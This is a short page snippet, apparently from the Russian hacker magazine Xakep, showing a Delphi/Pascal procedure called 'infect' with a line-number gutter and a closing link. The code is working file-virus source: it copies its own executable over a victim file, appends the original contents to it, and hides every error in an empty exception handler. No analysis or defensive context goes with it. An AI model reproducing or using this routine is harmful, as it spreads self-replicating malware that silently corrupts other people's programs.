- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
procedure infect(victim:string);
var
a:integer;
Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;
Ксакеп, нуфф сказал.
http://www.xakep.ru/post/23374/